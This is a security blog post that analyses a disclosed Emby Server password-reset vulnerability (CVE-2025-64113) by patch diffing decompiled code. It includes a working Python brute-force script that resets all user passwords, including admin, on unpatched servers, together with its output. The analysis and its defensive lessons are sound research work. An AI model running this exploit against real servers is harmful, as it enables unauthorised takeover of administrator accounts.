It's Not Mine: CVE-2025-64113

Welcome to “It’s not mine!”, a series of articles where I go over vulnerabilities found by other people.

Recently the media server Emby was on my mind again because an old vulnerability I’ve reported more than two years ago finally got assigned a CVE (CVE-2025-64325).

In the meantime, a much more interesting API vulnerability was disclosed (CVE-2025-64113):

This vulnerability affects all Emby Server versions - beta and stable up to the specified versions.
It allows an attacker to gain full administrative access to an Emby Server (for Emby Server administration, not at the OS level,).
Other than network access, no specific preconditions need to be fulfilled for a server to be vulnerable.

- GHSA-95fv-5gfj-2r84 advisory

Sounds interesting, right?

Actually, the issues turned out to be quite boring. But analyzing them touches on a few important concepts like entropy and randomness and techniques like patch diffing. Plus I needed a low-effort 2025 post badly and it’s 2026 already!

Password Reset Process

The advisory linked above mentions a passwordreset.txt file, so we already have a good idea what component is affected. After creating a local (vulnerable) test instance, we can submit a “forgot password” form:

Figure 1: Submitting a forgot password form

Figure 1: Submitting a forgot password form

Notice that the Username field can be empty. Let’s check the contents of passwordreset.txt:

Figure 2: passwordreset.txt contains PIN and expiration date

Figure 2: passwordreset.txt contains PIN and expiration date

Because user accounts are not tied to mail addresses, Emby writes a PIN to a local file only an administrator should have access to. That PIN needs to be entered on the specified page in order to trigger the password reset for the specified user. Or for all users if no username was provided.

A four digit PIN seems like it could be easily brute-forced without additional security measures in place. Before we jump to conclusions, though, let’s get more context by looking at the actual code. Emby is not open source, but it’s written in C# and can therefore be decompiled with ILSpy or similar tools.

Patch Diffing Setup

In order to get a better understanding of the vulnerability, we want to see the difference between the last vulnerable and the fixed versions. Creating a diff of the two should provide us with anything we need to exploit the issue.

We start by downloading the last vulnerable and the fixed versions.

Ideally, we don’t need to decompile the whole project if we’re able to pin-point the vulnerable component first.

A good way to quickly identify the component(s) we are interested in is to search for strings that are probably used within said component. Those could be error messages or constants like file names:

Figure 3: Searching for “passwordreset.txt” constant in ILSpy

Figure 3: Searching for “passwordreset.txt” constant in ILSpy

Searching for the “passwordreset.txt” string leads us to the UserManager, formally known as Emby.Server.Implementations.Library.UserManager. 🤵

Method names like StartForgotPasswordProcess and RedeemPasswordResetPin tell us that we’re on the right track.

Because the scope is so limited, we’re setting up the diff between vulnerable and fixed versions manually. We’ll talk about a better approach for bigger projects later.

From within ILSpy, we can simply save the decompiled code for both versions:

Figure 4: Manually saving the decompiled code with ILSpy

Figure 4: Manually saving the decompiled code with ILSpy

Now we open the directory containing both files in VSCode. After right-clicking the vulnerable version and selecting the “Select for Compare” option, we right-click the fixed version and select the “Compare with Selected” option:

Figure 5: Comparing both files in VSCode

Figure 5: Comparing both files in VSCode

Voilà! We get a clean diff inside a nice GUI that lets us expand and collapse portions of the code we’re not interested in:

Figure 6: Diff view of VSCode

Figure 6: Diff view of VSCode

Beautiful.

For bigger projects, the ILSpyCmd tool can be used for bulk-decompilation. I like to create a Git repository where every commit corresponds to a specific version of the software. This way, we get access to Git’s own diff command and can use the Git integration of editors like VSCode for more visual flavor.

Markus Wulftange also uses this approach and wrote about it in his analysis of CVE-2025-59287.

Difftheria

Now that we have a diff, let’s go over the changes. We won’t go over every single change, instead covering them in broad strokes.

The first big one concerns the PIN format. Whereas before it consisted of four digits, it is now made up of 12 alphanumeric characters:

Figure 7: Diff of CreatePasswordResetPin method

Figure 7: Diff of CreatePasswordResetPin method

Combined with a newly introduced semaphore, this immediately looks like a brute-force vulnerability.

  private readonly SemaphoreSlim _forgotPasswordSemaphore = new SemaphoreSlim(1, 1);

Think of a semaphore as a bouncer in a nightclub. A bouncer only lets a specific amount of people inside a club at any time. A semaphore only let’s a specific number of threads execute a piece of code at any time.

In essence, this semaphore is used as a mechanism for throttling requests, as can be seen in the StartForgotPasswordProcess method:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
  public async Task<ForgotPasswordResult> StartForgotPasswordProcess(string enteredUsername, bool isInNetwork, CancellationToken cancellationToken)
	  {
		  await _forgotPasswordSemaphore.WaitAsync(cancellationToken).ConfigureAwait(continueOnCapturedContext: false);
		  try
		  {
			  await Task.Delay(3000, cancellationToken).ConfigureAwait(continueOnCapturedContext: false);
			  // ---snip---
		  }
		// ---snip---
		  finally
		  {
		      _forgotPasswordSemaphore.Release();
		  }

By using the non-blocking Task.Delay, the execution is delayed by three seconds while the thread can do other work.

This is it? A simple brute-force issue? Let’s check for any throttling-related code in other parts of the code base. If none is present, the introduced change is probably at the heart of the vulnerability.

A good place to start is the ForgotPassword endpoint itself.

Emby uses “ServiceStack”, which is an alternative framework to the popular “ASP.NET Core”. ServiceStack doesn’t make use of traditional controllers, instead two distinct pieces are needed.

First, a DTO (Data Transfer Object) with annotations that set the path of the endpoint among other things:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
// Emby.Api, Version=4.9.1.80, Culture=neutral, PublicKeyToken=null
// Emby.Api.ForgotPassword

using MediaBrowser.Controller.Net;
using MediaBrowser.Model.Services;
using MediaBrowser.Model.Users;

[Route("/Users/ForgotPassword", "POST", Summary = "Initiates the forgot password process for a local user")]
[Unauthenticated]
public sealed class ForgotPassword : IReturn<ForgotPasswordResult>, IReturn
{
	[ApiMember(Name = "EnteredUsername", IsRequired = false, DataType = "string", ParameterType = "body")]
	public string EnteredUsername { get; set; }
}

The other piece is a service that contains the actual code that gets triggered when the ForgotPassword endpoint is called with the correct arguments (only the relevant method is shown):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
// Emby.Api, Version=4.9.1.80, Culture=neutral, PublicKeyToken=null
// Emby.Api.UserService

using System.Threading.Tasks;

public async Task<object> Post(ForgotPassword request)
{
	bool isInNetwork = base.Request.IsLocal || base.Request.IsInLocalNetwork();
	return await base.UserManager.StartForgotPasswordProcess(request.EnteredUsername, isInNetwork, base.Request.CancellationToken).ConfigureAwait(continueOnCapturedContext: false);
}

In here, our familiar UserManager.StartForgotPasswordProcess method gets called. So no rate-limiting or throttling on the individual controller/service level.

What about some global rate limiting mechanism? ServiceStack has a dedicated documentation page about it. Essentially, they rely on the Microsoft.AspNetCore.RateLimiting package themselves.

Searching for the AddRateLimiter method mentioned in the documentation and analyzing the references to it, we find zip:

Figure 8: AddRateLimiter is not used anywhere

Figure 8: AddRateLimiter is not used anywhere

I think it’s safe to assume that no global rate-limiting or throttling is in place, which verifies our theory of the vulnerability being a boring brute-force issue.

Finally, let’s have a closer look at the method that actually checks the validity of the PIN. The only difference between the vulnerable and fixed versions is the usage of the semaphore. Here is the version we’re trying to attack:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
public async Task<PinRedeemResult> RedeemPasswordResetPin(string pin)
{
	DeletePinFile();
	List<string> usersReset = new List<string>();
	bool valid = !string.IsNullOrEmpty(_lastPin) && string.Equals(_lastPin, pin, StringComparison.OrdinalIgnoreCase) && _lastPasswordPinCreationResult != null && _lastPasswordPinCreationResult.ExpirationDate > DateTimeOffset.UtcNow;
	if (valid)
	{
		_lastPin = null;
		_lastPasswordPinCreationResult = null;
		List<User> list = Users.ToList();
		foreach (User user in list)
		{
			if (string.IsNullOrEmpty(_forgotPasswordUserName) || string.Equals(user.Name, _forgotPasswordUserName, StringComparison.OrdinalIgnoreCase))
			{
				await ResetPassword(user).ConfigureAwait(continueOnCapturedContext: false);
				UserPolicy policy = user.Policy;
				if (policy.IsDisabled)
				{
					policy.IsDisabled = false;
					UpdateUserPolicy(user, policy, fireEvent: true);
				}
				usersReset.Add(user.Name);
			}
		}
	}
	else
	{
		_pinAttempts++;
		if (_pinAttempts >= 3)
		{
			_lastPin = null;
			_lastPasswordPinCreationResult = null;
		}
	}
	return new PinRedeemResult
	{
		Success = valid,
		UsersReset = usersReset.ToArray()
	};
}

As we can see, the passwordreset.txt file gets deleted (DeletePinFile) the first time the method is called. The actual comparison happens with an in-memory PIN (_lastPin). That PIN gets deleted once we hit three wrong attempts.

This enables the following exploitation steps:

  1. Trigger password reset for all users
  2. Attempt to guess the correct pin three times
  3. Repeat the previous two steps

As we saw in the image above, the PIN in the vulnerable version gets generated like this:

int num = new Random().Next(1, 9999);

Because the upper bound is exclusive, the range of possible values is 0001 to 9998.

As we’ll see next, it’s quite trivial to brute-force the correct PIN, even with the three attempt constraint in place.

Exploitation

Now it’s time to exploit the issue in the dumbest way possible. Because why get unnecessarily fancy?

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import random
import time
import requests

BASE_URL = "http://172.16.126.129:8096"
FORGOT_PW_URL = f"{BASE_URL}/emby/Users/ForgotPassword"
TEST_PIN_URL = f"{BASE_URL}/emby/Users/ForgotPassword/Pin"

# For usage with Burp or similar to debug the requests.
#proxies = {'http':'http://127.0.0.1:8080'}
proxies = None

requests.packages.urllib3.\
disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)

TOTAL_REQUESTS = 0

def reset_pin():
    global TOTAL_REQUESTS
    TOTAL_REQUESTS += 1

    response = requests.post(FORGOT_PW_URL, proxies=proxies)
    if (response.status_code != 200):
        print("[!] Couldn't trigger PW reset (shouldn't happen).")
		exit()

def redeem_pin():
    global TOTAL_REQUESTS
    TOTAL_REQUESTS += 1

    pin = random.randint(1, 9998)
    response = requests.post(TEST_PIN_URL, proxies=proxies, data = { "Pin": f"{pin:04d}" })
    data = response.json()

    return (pin, data)

start = time.time()

while True:
    reset_pin()
    for i in range(3):
        pin, data = redeem_pin()
        if (data.get("Success")):
            print(f"[+] SUCCESS with pin {pin}. Password reset for the following users: {data.get('UsersReset')}")

            end = time.time()
            elapsed = end - start
            print(f"[+] It took {elapsed} seconds and {TOTAL_REQUESTS} requests")

            exit()

That should take forever, right? Here are a couple of attempts:

[+] SUCCESS with pin 9095. Password reset for the following users: ['admin']
[+] It took 38.65023374557495 seconds and 7770 requests
[+] SUCCESS with pin 4565. Password reset for the following users: ['admin']
[+] It took 9.948091983795166 seconds and 2006 requests
[+] SUCCESS with pin 4726. Password reset for the following users: ['admin']
[+] It took 13.857664108276367 seconds and 2778 requests

We should play the lottery:

[+] SUCCESS with pin 793. Password reset for the following users: ['admin']
[+] It took 2.6026036739349365 seconds and 554 requests

Or not:

[+] SUCCESS with pin 4746. Password reset for the following users: ['admin']
[+] It took 427.4628806114197 seconds and 68227 requests

Wow, we’re not even going to bother with optimizing this. After all, it’s a low-effort post!

Random Elephant in the Room

What if it were a high-effort post, though? How could we improve the exploit? Maybe sending more requests in bulk so that we can smuggle in more attempts before the in-memory pin gets deleted? Sure, but let’s take a step back and look at the response of the server when requesting a password reset:

{
  "Action":"PinCode",
  "PinFile":"C:\\Users\\blurred\\Downloads\\embyserver-win-x64-4.9.1.80\\programdata\\passwordreset.txt",
  "PinExpirationDate":"2025-12-14T18:10:52.0174231Z"
}

What do we see except for the disclosure of a file system path? A pretty accurate timestamp. Shockingly accurate, actually.

The PinExpirationDate is exactly 10 minutes after the initial timestamp:

TimeSpan timeSpan = TimeSpan.FromMinutes(10.0);
DateTimeOffset expiration = DateTimeOffset.UtcNow.Add(timeSpan);

An attacker could subtract the ten minute expiration time and would get the exact timestamp at which new Random() was called.

Why is that important? Well, we have to to read the documentation for the parameterless Random constructor:

 […] If it is run on .NET Framework, because the first two Random objects are created in close succession, they are instantiated using identical seed values based on the system clock and, therefore, they produce an identical sequence of random numbers.

Before we get too excited, let’s do a quick test to see if “system clock” refers to the actual time:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
using System;
using System.Globalization;
using System.Threading;

namespace Emby_Random
{
    internal class Program
    {
        static void Main()
        {
            // Saving the current ticks for seeding a Random object later.
            var ticks = Environment.TickCount; 

			// Calling the parameterless constructor of Random.
            var num = new Random().Next(1, 9999);
          
            var pin = num.ToString("0000", CultureInfo.InvariantCulture);
        
            TimeSpan timeSpan = TimeSpan.FromMinutes(10.0);
            DateTimeOffset expiration = DateTimeOffset.UtcNow.Add(timeSpan);
      
            var formattedExpirationTime = expiration.UtcDateTime.ToString("o");

            Console.WriteLine($"[*] Generated PIN: {pin}");
            Console.WriteLine("[*] Formatted expiration date to be send to the client: " + formattedExpirationTime);

            Thread.Sleep(5000);

            // Imagine attacker code from here on.
            var parsedExpiration = DateTimeOffset.Parse(formattedExpirationTime);
            var originalTime = (parsedExpiration - timeSpan).ToUnixTimeMilliseconds();

			// Seed Random with the milliseconds from the moment the original PIN was created.
            var timeBasedNum = new Random((int) originalTime).Next(1, 9999);
            var timeBasedPin = timeBasedNum.ToString("0000", CultureInfo.InvariantCulture);

			// Seed Random with the ticks from the moment the original PIN was created.
            var tickBasedNum = new Random(ticks).Next(1, 9999);
            var tickBasedPin = tickBasedNum.ToString("0000", CultureInfo.InvariantCulture);

            Console.WriteLine($"[*] Time-based PIN is {timeBasedPin}");
            Console.WriteLine($"[*] Tick-based PIN is {tickBasedPin}");
        }
    }
}

And the result when running under .NET Framework 4.7.2:

[*] Generated PIN: 1866
[*] Formatted expiration date to be send to the client: 2026-01-13T18:35:18.8705742Z
[*] Time-based PIN is 6645
[*] Tick-based PIN is 1866

As we can see, not the actual time is used for seeding Random, but a value we can obtain via Environment.TickCount:

A 32-bit signed integer containing the amount of time in milliseconds that has passed since the last time the computer was started.

- https://learn.microsoft.com/en-us/dotnet/api/system.environment.tickcount?view=netframework-4.7.2

Additionally, Emby uses .NET (Core), which doesn’t use the system clock as a seed:

In .NET Core, the default seed value is produced by the thread-static, pseudo-random number generator, so the previously described limitation does not apply. Different Random objects created in close succession produce different sets of random numbers in .NET Core.

A dead-end for exploitation, but good to know nevertheless.

Summary

When combined, these three issues make the account takeover process trivial:

  1. attacker doesn’t need to know an account name
  2. no rate-limiting and/or throttling
  3. low entropy of PIN

So while it’s a rather anti-climactic vulnerability, there are a few lessons here.

Use high-enough entropy for secrets like PINs or magic links. Put rate-limiting in place (possibly in combination with throttling). And while not exploitable in this case, be generally mindful about how randomness is generated.

The same techniques we used for analyzing can be used for bigger patches and more interesting vulnerabilities.

During the process of writing this post, I’ve discovered that another person with the handle Cane has already published a post about the vulnerability (see Resources). It’s not clear if that person discovered the issue, because the Emby advisory page on GitHub lists another name in the credits section.

But one thing is clear: It’s not mine!

Resources

CVE-2025-64113 Advisory
https://github.com/EmbySupport/Emby.Security/security/advisories/GHSA-95fv-5gfj-2r84

Last vulnerable release
https://github.com/MediaBrowser/Emby.Releases/releases/tag/4.9.1.80

Fixed release
https://github.com/MediaBrowser/Emby.Releases/releases/tag/4.9.1.90

Blog post by Cane (Chinese) https://hicane.com/archives/geek-embyserver-gao-wei-an-quan-lou-dong

Emby forum thread that mentions the issue
https://emby.media/community/index.php?/topic/143784-possible-remote-access-exploit-deleting-media-on-emby-servers/

Emby docs for password reset (not updated at the time of writing)
https://emby.media/support/articles/Admin-Password-Reset.html

Semaphore bouncer analogy borrowed from Patrik Svensson :)
https://stackoverflow.com/a/40473